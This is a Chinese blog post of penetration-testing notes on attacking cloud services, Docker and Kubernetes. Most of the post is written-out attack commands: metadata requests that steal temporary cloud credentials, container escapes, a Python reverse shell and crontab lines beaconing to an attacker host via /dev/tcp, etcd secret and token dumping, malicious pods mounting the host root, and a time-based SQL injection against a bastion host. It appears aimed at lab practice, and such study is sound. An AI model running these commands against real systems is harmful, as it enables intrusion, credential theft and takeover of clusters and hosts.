云安全技术概述

云服务

对象存储

类别	服务商
国内云服务商	阿里云、腾讯云、华为云、天翼云、UCloud、金山云
国外云服务商	AWS（亚马逊）、GCP（Google）、Azure（微软）、IBM云

各个云厂商对云服务的叫法都不统一，这里以AWS为例。

S3 对象存储Simple Storage Service，简单的说就是一个类似网盘的东西

EC2 即弹性计算服务Elastic Compute Cloud，简单的说就是在云上的一台虚拟机。

RDS 云数据库Relational Database Service，简单的说就是云上的一个数据库。

IAM 身份和访问管理Identity and Access Management，简单的说就是云控制台上的一套身份管理服务，可以用来管理每个子账号的权限。

对象存储各大云名称

阿里云：OSS 腾讯云：COS 华为云：OBS

谷歌云：GCS 微软云：Blob 亚马逊云：S3

对象存储

1、权限配置错误

公共读或公共读写：常规读写权限

Bucket授权策略：设置ListObject显示完整结构，在根目录显示全部文件列表

Bucket读写权限：公共读写直接改包PUT文件任意上传

2、域名解析Bucket(存储桶)接管

当域名绑定了bucket时，通过访问域名拼接oss内部资源文件，可以解析该资源文件

判定是否绑定

执行ping命令，ping目标url，如果下方显示类似正在 Ping ginkgo.oss-cn-hongkong.aliyuncs.com .... 则表示该目标使用了域名绑定bucket

利用

1、文件上传：判定域名绑定bucket后，将恶意文件上传文件，然后通过域名访问，即可解析恶意文件。

2、域名接管：Bucket存储桶绑定域名后，当存储桶被删除而域名解析未删除，可以尝试自己在同平台创建同名bucket去接管原域名，从而实现用自己的桶接收别人域名的资源。

注：当Bucket显示NoSuchBucket说明是可以接管的，如果显示AccessDenied则不行。

3、AccessKeyId，SecretAccessKey泄漏：

APP，小程序，JS中泄漏导致

AccessKey标识特征整理-查找

参考文档：https://wiki.teamssix.com/CloudService/more/

作用：通过一些管理工具可以利用泄露的key登录，查看别人的bucket存储内容

元数据

实例-元数据（metadata）包含了弹性计算云服务器实例在阿里云系统中的信息，可以在运行中的实例内方便地查看实例元数据，并基于实例元数据配置或管理实例。（基本信息：实例ID、IP地址、网卡MAC地址、操作系统类型等信息。实例标识包括实例标识文档和实例标识签名，所有信息均实时生成，常用于快速辨别实例身份。）

各大云元数据地址

云服务商	元数据地址
阿里云	`http://100.100.100.200/`
腾讯云	`http://metadata.tencentyun.com/`
华为云	`http://169.254.169.254/`
亚马逊云	`http://169.254.169.254/`
微软云	`http://169.254.169.254/`
谷歌云	`http://metadata.google.internal/`

细节方面可通过访问官网找元数据访问触发说明，阿里云实例

云服务-弹性计算-元数据&SSRF&AK

1、前提条件

弹性计算配置访问控制(RAM) 角色

SSRF漏洞或已取得某云服务器权限

2、利用环境1：获取某服务器权限后横向移动

获取关键信息

curl http://100.100.100.200/latest/meta-data/

curl http://100.100.100.200/latest/meta-data/ram/security-credentials/

获取临时凭证

curl http://100.100.100.200/latest/meta-data/ram/security-credentials/ecs

利用AK横向移动

CF 云渗透框架利用项目：https://wiki.teamssix.com/CF/

3、利用环境2：某服务器存在SSRF漏洞

云服务-云数据库-外部连接&权限提升

1、帐号密码

源码配置中找到（几率高）或爆破手段（几率低）

2、连接获取

白名单&外网直接Navicat支持连接
内网需要其中内网某一个服务器做转发，无法外部直接访问

3、AK利用（权限提升）

CF 云渗透框架项目：https://wiki.teamssix.com/CF/

云原生

docker

1、Docker是一种容器化技术，用于打包、分发和运行应用。它提供了一种轻量级、可移植的方式来运行应用程序，类似于虚拟机，但更高效。

2、Docker对于渗透测试既可以是攻击目标，也可以作为测试环境。

3、Docker渗透测试点有：

渗透点	漏洞点/攻击手法	可能后果
环境检测	判断当前环境是否在 Docker 内运行 (cat /proc/1/cgroup)	确定攻击目标是否为容器
API 未授权访问	远程访问 docker.sock API (/var/run/docker.sock)	可控制 Docker，执行恶意操作
Docker 镜像安全	镜像包含敏感信息（如 SSH 密钥、密码）	泄露凭据，提升权限
容器权限配置错误	容器 --privileged 模式运行，或挂载 / 目录	可能导致容器逃逸，控制宿主机
文件系统逃逸	绑定宿主机目录 (-v /:/mnt) 或特权挂载 /proc/	访问宿主机文件，可能提权
网络隔离漏洞	容器与宿主机使用 host 网络模式	容器可直接访问宿主机网络
Docker 逃逸漏洞	CVE-2019-5736（runc 逃逸）、CVE-2022-0492（cgroup 逃逸）	直接获取宿主机 root 权限

4、前渗透-判断当前是否在Docker中

没有权限：端口扫描详细信息，根据应用对象表现
拿到权限：https://blog.csdn.net/qq_23936389/article/details/131486643

5、前渗透-镜像中的应用漏洞

6、前渗透-镜像中的默认配置

7、后渗透-三种安全容器逃逸

特权模式启动导致（不安全启动适用于java jsp高权限无需提权其他诸如PHP还要提权才能逃逸）
危险挂载启动导致（危险启动适用于java jsp高权限无需提权其他诸如PHP还要提权才能逃逸）
docker自身&系统漏洞（软件漏洞和系统漏洞都可用）

docker渗透流程-攻击者思路

1.拿取目标权限/shell

docker容器逃逸-特权模式

# 启动靶场
docker run --rm --privileged=true -it alpine

# 检测环境
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
ls -al / | grep dockerenv && echo "Is Docker" || echo "Not Docker"

# 判断特权，回显0000003fffffffff或0000001fffffffff
cat /proc/self/status | grep CapEff

# 查看目录
fdisk -l

# 特权逃逸-磁盘挂载
mkdir /test && mount /dev/vda1 /test

# 判断结果
cd /test/ && ls

docker容器逃逸-危险挂载

1、挂载Docker Socket逃逸

# 启动靶场-创建一个容器并挂载/var/run/docker/sock文件
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

# 在容器内安装 Docker 命令行客户端
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

# 检测环境，如果存在这个文件，说明漏洞可能存在
ls -lah /var/run/docker.sock

# 在容器内部创建一个新的容器，并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
chroot /host

2、挂载宿主机procfs逃逸

# 启动环境-创建一个容器并挂载proc/sys/kernel/core_pattern文件
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

# 检测环境
find / -name core_pattern

# 在容器中，首先拿到当前容器在宿主机上的绝对路径：(workdir) 
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

# 安装vim和gcc
apt-get update -y && apt-get install vim gcc -y

# 创建反弹shell脚本
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "attacker-ip"
lport = 10000
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

# 给shell赋予执行权限
chmod +x /tmp/.x.py

# 写入反弹shell到目标的proc目录下
echo -e "|前面找到的workdir路径/merged/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern

# 此时攻击机开启监听
nc -lvvp x.x.x.x

# 在容器内运行一个可以崩溃的程序
cat >/tmp/x.c << EOF
# include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF
gcc x.c -o x

# 执行文件
./x

2.判断是否在docker中

在docker中-尝试逃逸（见上文）

不在docker中-常规测试

模拟真实场景

1、高权限-Web入口到Docker逃逸（Java，jsp等的权限较高）

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

2、低权限-Web入口到Docker逃逸（PHP权限较低）

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

Docker自身&系统漏洞

Docker安全-容器逃逸&内核漏洞

常见历史案例（详见权限提升）

CVE-2016-5195 CVE-2019-16884 CVE-2021-3493

CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

Docker安全-容器逃逸&版本漏洞

CVE-2019-5736 runC容器逃逸

Docker version <= 18.09.2

RunC version <= 1.0-rc6

# 1、安装docker对应版本
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu


# 2、启动环境测试
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest


# 3、修改并编译poc（添加反弹shell或其他语句）后等待管理进入执行，poc：https://github.com/Frichetten/CVE-2019-5736-PoC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go  #  本地编译go文件后上传到目标，执行木马
docker exec -it 7f4793f3ac0cd13 /bin/bash  #  执行木马文件后，当管理员进入docker后真正触发
nc -lvvp 5566  #  攻击机监听


# 4、实操-获取到docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053

CVE-2020-15257 containerd逃逸

containerd < 1.4.3

containerd < 1.3.9

# 1、安装docker对应版本
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1


# 2、启动环境测试：
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash
 

# 3、上传CDK自动提权反弹
docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx


# 4、实验获取到docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053

容器逃逸&CDK自动化

检测利用：https://github.com/cdk-team/CDK

常规检测：https://github.com/teamssix/container-escape-check

演示：挂载模式特权模式 CVE-2020-15257等

实现：信息收集，指定逃逸，自动逃逸，修复功能等

K8s集群架构

Kubernetes是一个开源的，用于编排云平台中多个主机上的容器化的应用，目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署，规划，更新，维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着，管理员可以加载一个微型服务，让规划器来找到合适的位置，同时，Kubernetes在系统提升工具以及人性化方面，让用户能够方便的部署自己的应用。

用处：统一管理多个主机上的多个容器

1、Mastekr节点-控制端

2、Node节点-主机(工作节点)

3、Pod-容器

具体参考：https://blog.csdn.net/qq_34101364/article/details/122506768

端口判断：端口扫描出开放一下端口，那么说明目标大概率使用docker或k8s

K8S集群攻击点-重点

攻击思路：

1、通过虚拟机攻击云管理平台，利用管理平台控制所有机器

2、通过容器进行逃逸，从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

3、利用KVM-QEMU/执行逃逸获取宿主机，进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多，仅有一些厂商发布过相关矩阵技术，但没有过多的细节展示，本文基于微软发布的Kubernetes威胁矩阵进行扩展，介绍相关的具体攻击方法。

详细攻击点参考^[1][2]

API Server未授权访问&kubelet未授权访问复现（攻击master节点）

搭建环境使用3台Centos 7^[1][2]

一个集群包含三个节点，其中包括一个控制节点和两个工作节点

注：搭建的几个节点需要在同一网段

K8s-master 192.168.139.130

K8s-node1 192.168.139.131

K8s-node2 192.168.139.132

1、攻击8080端口：API Server未授权访问

旧版本的k8s的API Server默认会开启两个端口：8080和6443。

6443是安全端口，安全端口使用TLS加密；但是8080端口无需认证，

仅用于测试。6443端口需要认证，且有 TLS 保护。（k8s<1.16.0）

新版本k8s默认已经不开启8080。需要更改相应的配置

原因：

低版本（k8s<1.16.0）漏洞

配置不当

cd /etc/kubernetes/manifests/
# 在kube-apiserver.yaml文件中修改配置信息，这样的配置就会导致未授权
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

直接访问8080端口，出现下面的页面，就说明是未授权

客户端工具利用：

# 列出所有的节点
kubectl.exe -s 目标IP:8080 get nodes

# 列出所有的容器
kubectl.exe -s 目标IP:8080 get pods

# 写一个创建pod的yaml文件
cat <<EOF >> ./test.yaml
apiVersion: v1
kind: Pod
metadata:
  name: ginkgo
spec:
  containers:
  - image: vulfocus/shiro-721
    name: ginkgo
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
EOF

# 使用准备的文件创建一个容器
kubectl -s 目标IP:8080 create -f test.yaml

# 进入容器
kubectl -s 目标IP:8080 --namespace=default exec -it newPodName bash

# 将反弹shell指令文件写入真实机的计划任务中（前面创建容器时利用目录挂载的方式逃逸，将真实机的目录挂载到docker的mnt目录下）
echo -e "* * * * * root bash -i >& /dev/tcp/<攻击机IP>/<攻击机监听端口> 0>&1\n" >> /mnt/etc/crontab

2、攻击6443端口：API Server未授权访问

一些集群由于鉴权配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

不当指令

kubectl creat clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

案例-测试步骤

#  url
https://192.168.139.130:6443/api/v1/namespaces/default/pods/

#  创建恶意pods
POST：{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

#  连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods

#  连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash

#  上述一样

3、攻击10250端口：kubelet未授权访问

访问 https://192.168.139.130:10250/pods 可以看到一些信息

配置文件（/var/lib/kubelet/config.yaml）中设置：

修改authentication的anonymous=true
将authorization的mode=AlwaysAllow
重启kubelet进程-systemctl restart kubelet

案例-测试步骤

# 利用执行命令这里需要三个参数
namespace default
pod test03
container test03

# 访问获取上面的三个参数
https://192.168.139.132:10250/runningpods/

# 执行模版
curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

# 构造触发
https://192.168.139.132:10250/run/default/test02/test02
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"

K8s安全-etcd未授权访问

攻击2379端口：默认通过证书认证，主要存放节点的数据，如一些token和证书。

分类

第一种：配置文件（/etc/kubernetes/manifests/etcd.yaml）中没有配置指定 --client-cert-auth 参数打开证书校验，暴露在外Etcd服务存在未授权访问风险。

暴露外部可以访问，直接未授权访问获取secrets和token利用

第二种：在打开证书校验选项后，通过本地127.0.0.1:2379可免认证访问Etcd服务，但通过其他地址访问要携带cert进行认证访问，一般配合ssrf或其他利用，较为鸡肋。

只能本地访问，直接未授权访问获取secrets和token利用

第三种：实战中在安装k8s默认的配置2379只会监听本地，如果访问没设置0.0.0.0暴露，那么也就意味着最多就是本地访问，不能公网访问，只能配合ssrf或其他。

只能本地访问，利用ssrf或其他进行获取secrets和token利用

# 配置文件
/etc/kubernetes/manifests/etcd.yaml

# 复现搭建
https://www.cnblogs.com/qtzd/p/k8s_etcd.html

# 安装etcdctl
https://github.com/etcd-io/etcd/releases

# 安装kubectl
https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

复现利用

暴露etcd未授权->获取secrets&token->通过token访问API-Server接管
SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
V2/V3版本利用参考：https://www.cnblogs.com/qtzd/p/k8s_etcd.html

利用参考

https://www.wangan.com/p/7fy7f81f02d9563a

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

V2版本利用

直接访问 http://ip:2379/v2/keys/?recursive=true

可以看到所有的key-value值。（secrets token）

V3版本利用

1、连接提交测试

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"

2、获取k8s的secrets

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/

3、读取service account token

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

4、通过token访问API-Server，获取集群的权限

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

K8s安全-Dashboard未授权访问

默认端口：8001

配置不当导致dashboard未授权访问，通过dashboard我们可以控制整个集群。

分类

第一类：在本身就存在着不需要登录的http接口，但接口本身并不会暴露出来，如接口被暴露在外，就会导致dashboard未授权。

第二类：开发嫌登录麻烦，修改了配置文件，使得安全接口https的dashboard页面可以跳过登录。

复现利用

用户开启 enable-skip-login 时可以在登录界面点击跳过登录进dashboard
Kubernetes-dashboard 绑定 cluster-admin（拥有管理集群的最高权限）

# 搭建dashboard教程
https://blog.csdn.net/justlpf/article/details/130718774

# 设置登录跳过，在/k8s/recommended.yaml中的args下面添加
- --enable-skip-login

# 通过加载配置文件启动
kubectl create -f recommended.yaml

# 卸载
kubectl delete -f recommended.yaml

# 查看状态
kubectl get pod,svc -n kubernetes-dashboard

# Kubernetes-dashboard 绑定 cluster-admin，这样就会导致跳过后的角色拥有管理集群的最高权限
cat <<EOF >> /dashboard-admin-binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: kubernetes-dashboard-admin
subjects:
  - kind: ServiceAccount
    name: kubernetes-dashboard
    namespace: kubernetes-dashboard
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
  EOF
  
  kubectl apply -f dashboard-admin-binding.yaml

# 利用
新增Pod后续同前面利用一致

找到暴露面板 -> dashboard跳过-创建或上传pod -> 进入pod执行-利用挂载逃逸

apiVersion: v1
kind: Pod
metadata:
  name: ginkgo
spec:
  containers:
  - image: vulfocus/shiro-721
    name: ginkgo
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

实操

K8s安全-Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件，操作集群，从而接管所有容器。

K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息(API Server、登录凭证)。

如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等)，就可以直接通过API Server接管K8s集群，带来风险隐患。

用户凭证保存在kubeconfig文件中，通过以下顺序来找到kubeconfig文件：

如果提供了--kubeconfig参数，就使用提供的kubeconfig文件
如果没有提供--kubeconfig参数，但设置了环境变量$KUBECONFIG，则使用该环境变量提供的kubeconfig文件
如果以上两种情况都没有，kubectl就使用默认的kubeconfig文件 /.kube/config

复现利用

K8s-configfile -> 创建Pod/挂载主机路径 -> Kubectl进入容器 -> 利用挂载逃逸

1、将获取到的config复制

2、安装kubectl使用config连接

# 安装
https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

# 连接
kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

3、上传利用test.yaml创建pod

cat <<EOF >> ./test.yaml
apiVersion: v1
kind: Pod
metadata:
  name: ginkgo
spec:
  containers:
  - image: vulfocus/shiro-721
    name: ginkgo
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
EOF

kubectl apply -f test.yaml -n default --kubeconfig=config

4、连接pod后进行容器挂载逃逸

kubectl exec -it xiaodisec bash -n default --kubeconfig=config
cd /mnt
chroot . bash

K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时，会用到Kubectl Proxy

使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

复现利用

类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点，根据类型选择合适方案

kubectl -s http://192.168.139.130:8009 get pods -n kube-system

场景实战&横向&cdk自动化

1、攻击Pod部署Web应用

2、利用ApiServer未授权

3、实现挂载目录宿主机逃逸

4、利用污点Taint横向移动至master，再逃逸

5、利用Config泄漏横向移动至master，再逃逸

Web应用部署：（struts2漏洞）

部署

# 拉取靶场镜像，并部署
kubectl create deployment struts --image=vulhub/struts2:2.3.28

# 设置开放一个对外端口8080，转发到内部pod的8080端口，并开放一个30000 - 32767的静态端口
kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort

# 查看状态信息
kubectl get pod,svc

利用Web漏洞拿下权限

# 利用web漏洞拿到权限后，探针当前Webshell环境，参考 https://blog.csdn.net/qq_23936389/article/details/131467165
ls -al /
cat /proc/1/cgroup  # 查看是单独的docker还说k8s的docker，结果中存在大量关于‘kubepods’相关字段

# 上传/远程下载cdk自动化工具进行信息搜集
./cdk evaluate

# 探针API Server未授权
curl -k https://内部ip/api/v1/namespaces/default/pods

# 利用cdk工具提交创建后门Pod
./cdk kcurl anonymous post 'https://目标ip/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

# 通过API Server未授权查找刚才创建的pod
curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods | grep <创建的pod名>

# 创建pod
./kubectl -s 10.96.0.1:443 create -f test.yaml

# 加参数绕过交互式/反弹shell进行操作
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

# 利用后门挂载进行逃逸
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"

# 利用Taint横向移动master节点
# 参考：https://cn-sec.com/archives/1336486.html
# 获取node节点详情：kubectl describe nodes <nodeName>
# 非污点Taints值为<none>，污点Taints值为：node-role.kubernetes.io/master:NoSchedule
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

# 针对容忍编写相应的pod，从而在master节点创建一个容器，挂载master宿主机根目录到/master下
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-imageName
spec:
 tolerations:
   - key: node-role.kubernetes.io/master  # 这个值是污点的taints值
     operator: Exists
     effect: NoSchedule
 containers:
   - name: control-master-x
     image: ubuntu:18.04
     command: ["/bin/sleep", "3650d"]
     volumeMounts:
      - name: master
        mountPath: /master  # 横向移动，在master节点创建容器
 volumes:
  - name: master
    hostPath:
     path: /
     type: Directory
EOF

# 使用上面创建的文件，创建一个新的pod，挂载到master节点
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

# 获取当前所有节点、容器分布、归属
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide

# 进入新节点的/master目录，因为master节点宿主机根目录被挂载到了/master下，完成逃逸
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

# 将反弹shell指令文件写入真实机的计划任务中
echo -e '* * * * * root bash -i >& /dev/tcp/<攻击机ip>/5566 0>&1\n' >> /master/etc/crontab

# 也可以利用节点泄漏的config横向移动节点
./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
./kubectl apply -f test.yaml -n default --kubeconfig=config
./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"

实操

云产品

堡垒机/安全审计系统

堡垒机攻防：（意义）

堡垒机漏洞：（已知）

云堡垒机：（云攻防）

设备安全：（举一反三）

1、管理者期望：统一入口、批量管理、自动运维、安全运营

2、堡垒机4A能力：身份鉴别、帐号管理、权限控制、安全审计

功能及作用：堡垒机是种网络安全设备，用于保护和管理企业内部网络与外部网络之间的访问。它作为一种中间节点，提供安全的访问控制和审计功能，用于保护内部网络免受未经授权的访问和攻击。堡垒机通常被用作跳板服务器，即堡垒机来管理和访问其他内部服务器。

攻击面：堡垒机作为外网进入内网的重要门户，对于维护内网安全起着举足轻重的作用。然而在攻击场景中，它也成为攻击者的必争之地。如果攻击者获得堡垒机权限，那么攻击者就可获得进入内网，甚至是直接管理堡垒机上所有的资产。一般而言，黑客可能尝试通过漏洞利用或社会工程学等手段获取堡垒机的访问权限。

图解

案例

1、Teltport

post：/auth/do-login

args={"type":2,"username":"admin","password":null,"captcha":"xxxx","oath":"","remember":false}

返回code=0就说明成功了，直接可以进去了

2、JumpServer

CVE-2023-42442 JumpServer 未授权访问漏洞复现

3、绿盟SAS堡垒机

4、麒麟堡垒机

cert.subject="Baolei"

Post：constr=1' AND (SELECT 6999 FROM (SELECT(SLEEP(10)))ptGN) AND'AAdm'='AAdm&title=%40127.0.0.1

参考：https://blog.csdn.net/qq_41904294/article/details/132328217

5、齐治堡垒机

posted @ 2025-12-04 16:29 shinianyunyan 阅读(2) 评论(0) 收藏举报

刷新页面返回顶部

priv' Blogs

云安全技术概述

云服务

对象存储

对象存储各大云名称

对象存储

1、权限配置错误

2、域名解析Bucket(存储桶)接管

判定是否绑定

利用

3、AccessKeyId，SecretAccessKey泄漏：

元数据

各大云元数据地址

云服务-弹性计算-元数据&SSRF&AK

1、前提条件

2、利用环境1：获取某服务器权限后横向移动

获取关键信息

获取临时凭证

利用AK横向移动

3、利用环境2：某服务器存在SSRF漏洞

获取关键信息

利用对方服务器获取临时凭证

利用AK横向移动

云服务-云数据库-外部连接&权限提升

1、帐号密码

2、连接获取

3、AK利用（权限提升）

云原生

docker

docker渗透流程-攻击者思路

1.拿取目标权限/shell

docker容器逃逸-特权模式

docker容器逃逸-危险挂载

1、挂载Docker Socket逃逸

2、挂载宿主机procfs逃逸

2.判断是否在docker中

模拟真实场景

Docker自身&系统漏洞

Docker安全-容器逃逸&内核漏洞

常见历史案例（详见权限提升）

Docker安全-容器逃逸&版本漏洞

CVE-2019-5736 runC容器逃逸

CVE-2020-15257 containerd逃逸

容器逃逸&CDK自动化

K8s集群架构

K8S集群攻击点-重点

API Server未授权访问&kubelet未授权访问复现（攻击master节点）

1、攻击8080端口：API Server未授权访问

2、攻击6443端口：API Server未授权访问

不当指令

案例-测试步骤

3、攻击10250端口：kubelet未授权访问

案例-测试步骤

K8s安全-etcd未授权访问

分类

复现利用

利用参考

V2版本利用

V3版本利用

1、连接提交测试

2、获取k8s的secrets

3、读取service account token

4、通过token访问API-Server，获取集群的权限

K8s安全-Dashboard未授权访问

分类

复现利用

实操

K8s安全-Configfile鉴权文件泄漏

复现利用

K8s安全-Kubectl Proxy不安全配置

环境搭建

复现利用

场景实战&横向&cdk自动化

Web应用部署：（struts2漏洞）

部署

利用Web漏洞拿下权限

实操

云产品

堡垒机/安全审计系统

图解